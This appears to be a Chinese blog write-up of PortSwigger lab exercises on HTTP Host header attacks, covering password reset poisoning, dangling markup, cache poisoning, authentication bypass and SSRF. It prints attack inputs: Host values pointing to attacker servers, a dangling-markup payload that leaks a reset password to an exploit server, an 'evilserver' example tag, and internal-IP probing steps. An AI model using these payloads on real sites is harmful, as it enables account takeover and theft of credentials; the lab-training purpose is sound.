首页 > 技术文章 > Postwigger Lab - HTTP HOST POISON 实验记录

doherasyang 2021-11-13 19:48 原文

Postwigger HTTP HOST POISON


更新日期: 2021年11月13日

在本文中对HTTP的HOST字段的相关毒化的相关Web安全技术进行介绍,以及对相关参考资源进行分享;

参考资料链接:



0x01. 什么是 HTTP / HTTP-HOST 字段

写在前边

HOST 字段是在HTTP1.1协议中提出来的,目前HTTP的相关协议已经延续到了HTTP2.0版本,对于HTTP协议的相关内容探讨并不在本文中被体现,本文只涉及HTTP报头中的HOST字段的作用探讨和分析和部分HTTP1.1协议内容的讨论;

目前,对于HTTP协议是否还需要保留还存在相关的争议,因为HTTP的冗杂性(高度集中化)以及对于安全性上的担忧(HTTPS协议的诞生),导致近些年出现了很多新兴的传输协议,比较主流且广泛收到讨论的有: IPFS / RsRocket,随着云计算、区块链技术的崛起, IPFS在区块链上的广泛使用以及对Go语言的支持,因此现在受到开源社区比较强烈的关注;

可以参考下边的链接来了解:

有兴趣的同学可以了解IPFS协议在Go语言上的实现;

HTTP 的何去何从还是要交给时间来决定... XD

HTTP 协议的演变

HTTP 0.9:

  • 最早的 HTTP 0.9协议中,对于HTTP的相关请求只涉及到了GET请求一种,协议本身没有特别复杂的相关设计,甚至服务器端都不能返回相应的状态码来检查相关的错误,当出现相关错误时,只能将客户端发送的HTML文件内容重新发送给客户端来进行判断;

HTTP 1.0

  • 相比较 HTTP 0.9, HTTP 1.0 设计并增加了大量新的特性来保证HTTP协议在客户端和服务端的用途可以更广;

  • HTTP 1.0 增加的相关特性如下:

    • HTTP 的相关协议版本信息会随着每一个请求的发送来进行发送;

      GET /target.html HTTP/1.0

    • 响应状态码会在 Response 报文中获得体现,体现的方式为在返回的 Response 的开头加上对应的信息, 并会在服务端开始响应时就会发送给客户端, 以便客户端进行调整:

      200 OK  <!--> 增加的响应字段  200 OK! <--> 
      Content-Type: text/html; charset=utf-8
      Connection: close
      Content-Length: 3227
      
      <!DOCTYPE html>
      <html>
          <head>
              <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
              <link href=/resources/css/labs.css rel=stylesheet>
              <title>Basic password reset poisoning</title>
      
    • 引入了 HTTP头 (HTTP HEADER) 的相关概念,并可以在HTTP头部加入了相关 元数据,简单来说所谓的元数据就是包含在头部的相关字段,用来传输一些关键的控制/版本信息,HTTP 的头部按照其相关功能分为四个划分,这个划分不是指不同位置的划分,而是指服务端/客户端这两个实体可以使用的不同的头域,其相关划分有:通用头、请求头、响应头、实体头等;

      • 通用头:客户端/服务端都可以指定该域的相关值,比如: Date / Upgrade / Transfer-Encoding 等;
      • 请求头: 客户端可以指定该域的相关值,比如:Accept / Authorization / Proxy-Authorization 等;
      • 响应头 : 服务端可以指定该域的相关值,比如:Age / Server 等;
      • 实体头:实体的相关概念可以指代:客户端/服务端,也可以指代请求的资源,比如说HTML文本内容、图片信息等,这部分比较常见的字段有:Content-Type / Connection / Content-Length;

HTTP 1.1

  • HTTP 1.0 并不是一个标准的协议被写进了RFC 标准,只是一个过渡的试验品,因此不能算是正式的HTTP协议标准规范, HTTP 1.1 的诞生就在 HTTP 1.0 发布之后几个月之内就发布了;

  • 相比 HTTP 1.0 协议, HTTP 1.1 对下边的几个部分进行了修订:

    • 增加了连接复用: Keep-Alive 的相关字段,节省了打开相同TCP连接的相关时间,缩短了加载对应资源的时间;

    • 增加了客户端管线化技术,支持客户端在接收第一个应答之前就允许客户端多次发送多个客户端请求,提升了通信的效率;

    • 增加了服务端响应分块,增加了服务器端发送内容的相关编码形式,具体体现在HTTP头的字段为:Transfer-Encoding,该属性有四个相关的值: chunkedcompressdeflategzipidentity; 其中 chunked 为服务端支持将相应内容进行拆分;

    • 增加了内容协商机制,客户端和服务端可以通过HTTP头部的信息进行协商,可以进行协商的相关内容包括:支持的语言、编码、类型、传输的格式等;

    • 增加了Host头,支持 HTTP 根据域名进行请求,即使这些不同的域名都在同一个IP地址服务器上,即所谓的站点复用技术;

      本文讨论的相关毒化(Poison)就是对没有经过记录和验证请求Host信息从而导致信息泄露;

HOST 字段

从前边的相关内容,我们已经了解到了 HTTP 1.1 协议版本增加了 Host Header来支持对多个域名的请求,多个域名可以指向同一个IP地址服务器上,这种方法经常被某些V**网站来防止封锁,这招非常管用;

HOST 字段设计的本身就是用来支持不同的域名的,在 HTTP 1.1 当中其定义方式如下:

Host: <host>:<port>

其中,host 为相关域名,port 为对应的端口号;

在实际报文中的例子,下边是一个完整的HTTP REQUEST 请求报文:

POST /forgot-password HTTP/1.1
Host: acd21f291ef80dc3c06329c5003600b6.web-security-academy.net
Cookie: _lab=46%7cMCwCFE6JEz8xvZ4xTwZWai4Pj3Q8DBwjAhQLuStW6K30UeCL9p3rRP0pdbNrad3usfSGk5Gy3mABhieVNSq3LI3FwnkijZW48stvCPfftx%2b1r3JYdTFIg1%2fKThUvUdhNo5FJE46QcsexumA1kPmBEfhzBWVWqFAERsdj8Csu%2fbJs308%3d; session=PvEprLjXC8id9nP8UvZMTtgLRapayeQR
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://acd21f291ef80dc3c06329c5003600b6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acd21f291ef80dc3c06329c5003600b6.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

csrf=lPevQR4EmeuSYdG8CIhy8E7HDhM1trWl&username=wiener

Host字段的相关作用

Host 字段在设计当初的目的就是指定被请求的主机和端口号

客户端在想服务端发起相关请求时,将 HOST 字段加入到HTTP请求包头部,发送给服务端,服务端可以在后端的逻辑代码中使用该 HOST字段的相关内容, 例如在PHP当中,可以使用 $_SERVER['HTTP_HOST'] 来指代客户端请求报文中的 HOST 字段;


0x02 PortSwigger相关题目

1. Lab: Basic password reset poisoning

网上对于怎么实现该实验的Header毒化有很多的教程以及视频,在这里我们不再对相关过程进行赘述了,主要是分析和记录在这一过程中后边的原理;

对于实现该题目中的相关Header的毒化,最重要的是了解后端对于该字段的处理;

1.1 HTTP的通讯 / 解析方式

客户端发送请求到服务端,相关的请求内容如下:

POST /forgot-password HTTP/1.1
Host: acc11f681fa365abc07b239f008200db.web-security-academy.net
Cookie: _lab=47%7cMC0CFQCSIpfBgV8O7Ke%2ftPBVroH6oYPsEwIUQvFep6B1MAco7QwcqXpIOtPE1K2imBsqkCX5UI31PYC47YuMmaGl3%2fKw88uP%2fENl58xb%2fhiTQbRd9jX9MNDDDUre%2buvxvET2nZ4phOfs0WpwVZK%2fLBG%2bj2Ntgawa4aQwdsln2diQchpZ; session=HPelWIF9ncdEZz93juiuAFHikQacsFfn
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://acc11f681fa365abc07b239f008200db.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acc11f681fa365abc07b239f008200db.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

csrf=0WrZHY4dLNxyCtbSIdKFyBf3nXmNJmi2&username=wiener

可以发现 Host 字段是通过 Request 请求发送服务端的,服务端可以直接使用;

在这个过程中,必须要理解HTTP协议中的相关概念:

  • 为什么修改HTTP报文中的Host字段不会影响正常的DNS解析?

    • 要理解为什么更改 Host 并不会影响 HTTP 报文的发送,必须理解DNS解析的域名是从哪里来的,网上有很多资料,关于讲解 HTTP 通讯过程的,比如下方链接讲解HTTP的通信原理:

      导致我一直认为:DNS 对 HTTP相关域名的解析服务是通过HTTP头字段:Host 来完成的,所以一直很困惑为什么修改Host字段之后还可以进行正常通信;

      解答

      • 其实实际上DNS解析的内容由URL中的相关域名信息进行解析并独立完成的,这也是网上很多教程回答有问题/出入的地方;

      • HTTP 头中的信息主要是给代理服务看的,比如说 Nginx、Apahce ,这些代理服务器或者Web应用服务器对这些字段进行解析;

        Host 就是做到对不同域名的区分,即使这些域名都指向相同的服务器并拥有相同的IP地址,也可以在服务器内部进行映射;

1.2 后端处理请求方式

因为 Host 是从客户端到服务端进行相关信息传输的,因此该信息可以进行更改;

POST /forgot-password HTTP/1.1
Host: acc11f681fa365abc07b239f008200db.web-security-academy.net

可以被随意更改成你想要的恶意地址!

POST /forgot-password HTTP/1.1
Host: doherasHacker.com

在该实验中,我们只讨论重置密码的相关业务场景

这个时候如果服务端对从客户端发送过来的 Host 内容不进行解析,那么就不会存在问题,但是如果使用的是下边的方式,那么就会存在问题:

对于 PHP 来说:

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=$token";

对于 Python - Django 来说:

reset_password = {{ protocol}}://{{ self.request.META['HTTP_HOST'] }}{% url 'password_reset_confirm' uidb64=uid token=token %}

那么接收到的相关 HOST 信息就是从客户端发送过来的Host信息,那么上边的链接就会被修改成恶意的域名地址

攻击者在该恶意域名地址的服务器设置一个 Logger,这个 Logger 用来记录相关请求,即使不进行回应,也可以获得对应的 token 来伪造用户的身份,从而达到修改密码的相关目的;

但是该链接还会被正常发送给用户正常注册的邮箱,只要用户不点击该链接,就不会发送请求给恶意的服务器,那么 token 就不会被获取,那么该攻击就不会成功;

在该实验中默认用户会点击该请求,所以就会被 Logger 记录 ~



1.2 Lab: Password reset poisoning via dangling markup

Host 的字段中加入恶意的 JavaScrit 代码,将自动执行相关的恶意代码,HTTP 设计中有相关的字段来保证所有在浏览器中打开的页面都是同源的,因此该策略也被称为“同源策略”(Same Origin Policy);

在 HTTP 头中,加入了 Origin 字段来进行源的辨别,没有经过同源认证的后端容易受到 CSRF、XSS的相关攻击;

在这里,因为笔者从来没有听过 Dangling markup 技术,在这里做相关的介绍;

1.2.1 Dangling markup 技术

针对 XSS / CSRF 攻击的前提需要,相关需要对相关信息进行窃取,对于 XSS 来说需要页面不对相关的异常代码进行识别,对于 CSRF 攻击 需要对相关 CSRF token 的值进行窃取;

Dangling markup 技术的诞生需要就是来窃取网站的相关内容,使用图像等资源将数据发送到攻击者远程控制的恶意服务器位置。其诞生就是解决 反射型XSS脚本 被过滤时,如何窃取页面上的相关内容;

其入侵的相关思想:

  • 插入一些未完成状态的HTML标签,比如说:imgframea 等 HTML 状态标签;
  • 这些未完成状态的标签会和其余标记关闭该属性,同时将两者中间的信息发送给远程恶意服务器;
  • 注意: 因为一般的注入点都是 srcsrc 是带域名地址的,因此执行的就是一个 GET 请求,因此远程恶意服务器可以进行记录;

在这里我们举一个例子~

我们假设需要这样的一个标签:

<img src="https://evilserver/?"

当代码中存在这样的代码时,因为该标签没有闭合,所以编译器必须查找下一个闭合的HTML标签,因此将会访问 src 后边的链接,当恶意服务器对于访问进行记录,那么就会被记录在恶意服务器中的Logger上边,从而相关的敏感信息就会被泄露;

在本实验当中,是对上一个实验的补充,在上一实验当中,使用了对 host 字段的毒化,即制定了恶意的服务器的地址,从而达到将相关Email中的链接的Host域名替换成恶意的的服务器的地址;

在本实验当中,经过对 Host 进行再次修改之后发现无法正常发送请求,因此需要转变相关思路;

对于 Host 字段的相关的相关定义形式为:域名:端口号,因此在本实验当中,需要对 Host 进行探测的是需要后端对处理Host中的端口信息是否存在漏洞,实际上是存在漏洞的;

我们尝试将Host的相关字段更改为:

Host:Host: ac081f121ebc4835c0680fc500ea00b3.web-security-academy.net:TestPort

再进行重放,是可以收到相关密码重置邮件的,因此在这里存在注入点;

对于邮件的内容,也从之前的链接信息更改成为了发送临时的密码,我们的目标就是获取这个密码

相关邮件的源码如下,可以看到该邮件为 HTML 格式内容,因此可以使用 Dangling markup 的相关注入技术, 并且 TestPort 已经被注入进去了:

我们构建对应的注入信息,在 HTML 当中 a 用来定义超链接,我们重新 :

<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? 

因为这个链接的内容会被扫描器自动执行;

<p>Hello!</p><p>Please <a href='https://acde1fc11f9a9227c062c68800100077.web-security-academy.net:<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? /login'>click here</a> to login with your new password: 66ydHVFp8y</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

格式化之后的HTML为:

<p>Hello!</p>
<p>Please <a href='https://acde1fc11f9a9227c062c68800100077.web-security-academy.net:<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? /login'>click here</a> to login with your new password: 66ydHVFp8y</p>
<p>Thanks,<br />Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

可以看到,to login with your new password: 66ydHVFp8y</p> 将会作为请求链接的参数,被发送到我们的设定服务器,相关 password 就会被记录下来;


1.3 Lab: Web cache poisoning with an unkeyed header

在本实验当中,使用了 Web Cache Poisoning 的相关技术,在本技术当中,通过更改和观察相关HTTP头部的信息,从而获得页面相关加载资源;

对于 Web Cache Poision 的相关技术将会在其他的章节进行详细介绍;

本文只讨论 Host 字段对于后端返回给客户端的相关影响,通过对返回 Response 的相关进行判断,寻找注入点,从下图,我们可以看到页面主动加在了一个源地址为: ac4a1f641f9c4dc1c0f61034006e00cc.web-security-academy.net 该地址为服务器的相关地址;

当我们尝试更改 Host 的相关值之后,发现 504 Gateway Error, 那么反向代理服务器对 Host 进行了更改;

当尝试增加了新的 Host 字段之后,我们发现相关的 script 脚本的 src 值发生了改变:

因此可知该点为注入点, 可以修改 src 的相关值;

完成该注入的一个要求就是,必须让目标的后端服务器对相关内容进行缓存,缓存的内容就是就上边 SCRIPT 的内容,要求对所有的用户访问该网站都会被执行上述的代码,因此要将该代码放入内存当中;

这里有一个很关键的概念: X-Cache

对于 HTTP 的 Response 报文,用来进行判断是否命中代理服务器/CDN分发的相关缓存记录,看两个字段:X-Cache / X-Cache-lookup

对于 X-Cache 的字段在本实验中有两种:miss / hit ,正式的定义当中,该字段用来指明:查看代理服务器中是否有某个网页缓存

  • miss :代表未命中
  • hit: 代表命中

本 Lab 当中要想完成 Web Cache Poisoning,必须在 Repeater 中多次提交请求,直到该值从 misshit

补充:

  • X-Cache-lookup: 该字段作用为:指浏览器从何处、是在哪个代理缓存载入的网页文件

1.4 Lab:Host header authentication bypass

robots.txt: 在Web后端中用来指示网络爬虫哪些可以爬取,哪些不可以爬取,因此在该文件中有相关的网站目录信息;

本题较为简单,只需要打开 admin 的控制面板就可以;

在这里做一个小笔记:

对于每一个在 PortSwigger 生成的临时的 Victem Website 的相关链接:

https://ac2e1f561e6c333dc02a1ec0009f0016.web-security-academy.net/

对其进行相关资产扫描,使用 Dirbuster 等工具时,不能正常返回相关回应代码,所以无法推断这个问题留在以后进行解决;


1.5 Lab: Routing-based SSRF

完成该题的相关前提是:必须了解Burp Suite的相关用法,即 Burp Suite的相关组件的功能;

在本文当中,因为涉及到对 Host 字段的相关更改,因此首先尝试更改 Host 字段的相关内容,可以看到返回的结果是: 504 Forbbiden

504 Forbbiden 的错误指: 后端对于 Host的字段并没有进行验证,因此存在注入点, 504 Forbbiden 的相关错误就是指后端服务器对于前端提交的相关请求的相关内容进行再请求;

根据本题的相关提示,我们需要使用 Web Server 即 (https://acd11f301f4978d9c1249133002800ae.web-security-academy.net/ ) 作为跳板机来访问只有内网才有权限的内网服务器;

因为在上边将 Host 字段进行了更改,更改后的是一个虚假的地址,那么 Host 请求自然不会成功,从而返回一个 504 错误;

Burp Suite 提供了 Burp Collaborator Client 的组件,其功能为模拟一个虚拟的服务器,可以进行手工的注入操作,对于不进行回显的注入操作,产生回应内容从而判断是否成功;

之后,我们需要模拟内网的相关请求给Target 服务器的网管,因此需要对 Host进行更改,因为我们现在并不知道内网的相关IP地址,所以使用 Burp Intruder 进行猜测内网的IP地址;

我们对 Host 字段进行调整,调整之后的相关内容如下:

设定 猜测的区间参数:

之后进行攻击,最后的内容如下图:

可以看到,在上边有一个地址对我们的请求进行了响应,响应的相关内容为: 302 ,即代表该资源存在,但是被临时更改到了其他的地方;

因此: 192.168.0.35 为我们查找的相关内网IP地址,这个内网地址可以访问 /admin 的相关资源;

使用 Burp Repeater 打开,可以看到:

正确加在了 https://acd11f301f4978d9c1249133002800ae.web-security-academy.net/admin页面,即可以成功删除 calors的账户了;


Lab: SSRF via flawed request parsing

这个实验与上述实验不同的是:在该实验当中对 Host 字段进行了验证,不能通过验证的都会返回: 403 Forbbiden, 服务器拒绝提供服务;

绕过的方法很简单,在 GET 关键字之后加上完整的链接,将第一个参数作为 Host 进行验证:

相关原理为:

  • 后端使用代理服务器时,需要对相关的域名进行操作,因此在后边跟上真实的域名,实际上是进行了传参数的过程;举一个例子:

    http://acfc1fba1ebd834fc0b02f3700000069.web-security-academy.net/?{url}
    

    如果我们将 https://acfc1fba1ebd834fc0b02f3700000069.web-security-academy.net传入之后,实际上将上述的 url的相关值设置为绝对路径, 因此还是可以正常访问的;

    所以经过后端转义之后:

    http://acfc1fba1ebd834fc0b02f3700000069.web-security-academy.net/?url=https://acfc1fba1ebd834fc0b02f3700000069.web-security-academy.net/
    

    当我们传入了一个正常的 url 时,再传入一个Host之后 HTTP Header 中的 Host 就不会进行鉴别了,因此就会被执行;

    因此就会被绕过;


【完】

参考链接

推荐阅读